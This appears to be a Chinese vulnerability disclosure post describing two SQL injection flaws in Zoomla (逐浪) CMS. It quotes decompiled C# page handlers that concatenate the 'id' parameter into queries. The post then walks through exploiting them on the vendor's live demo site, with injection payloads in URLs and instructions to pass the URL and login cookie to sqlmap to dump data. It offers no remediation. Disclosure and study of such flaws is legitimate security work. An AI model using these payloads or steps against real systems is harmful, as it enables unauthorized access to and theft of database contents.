逐浪CMS通用型SQL注入持续两枚

似乎逐浪开始想完全闭源了。已经准备阻止大家进行反编译了,暂时还不知道是用什么方法,以后如果研究出来的话再说吧。所以官方别再扯什么XXX源码包了,不开源不是丢人的事情,但是忽悠客户不是很好吧。 相关的类: public class MIS_Target_planList : Page, IRequiresSessionState public class MIS_Target_ProList : Page, IRequiresSessionState 注入点1: [php] public class MIS_Target_planList : Page, IRequiresSessionState protected void Page_Load(object sender, EventArgs e) { this.buser.CheckIsLogin(); if (!base.IsPostBack && !string.IsNullOrEmpty(base.Request["id"])) { this.id = DataConverter.CLng(base.Request["id"]); //id参数第一次过滤了 this.dt = this.bll.Sel("MID =" + base.Request["id"], "ID desc"); //id参数第二次直接带入查询中了 if (this.dt != null && this.dt.Rows.Count > 0) { this.Repeater3.DataSource = this.dt; this.Repeater3.DataBind(); } } } [/php] 前台注册用户。 http://demo.zoomla.cn/Mis/Plan/AddPlan.aspx 添加计划 访问http://demo.zoomla.cn/mis/target/planList.aspx?id=0 可以看见计划都列出来了,把上面这个URL丢到工具里面,带上cookie即可: 注入点2: [php] public class MIS_Target_ProList : Page, IRequiresSessionState protected global_asax ApplicationInstance { get { return (global_asax)this.Context.ApplicationInstance; } } protected void Page_Load(object sender, EventArgs e) { this.buser.CheckIsLogin(); if (!base.IsPostBack && !string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"].ToString() == "7" && !string.IsNullOrEmpty(base.Request["id"])) { this.id = DataConverter.CLng(base.Request["id"]); this.dt = this.bll.Sel("TargetID like '%" + base.Request["id"] + "%' And IsSystem=0 ", "ID desc"); //id参数没有过滤就带入SQL查询 if (this.dt != null && this.dt.Rows.Count > 0) { this.Repeater3.DataSource = this.dt; this.Repeater3.DataBind(); } } } [/php] 注册前台用户并登录 http://demo.zoomla.cn/Mis/Project/Default.aspx 点击新建项目 随意新建一个项目。 打开http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3 页面空白 打开http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3%' or '%'=' 所有添加的项目信息都在里面 把下面的链接还有cookie丢sqlmap就可以暴数据了 http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3%' or '1'='1'*-- z1 z2 z3

发表评论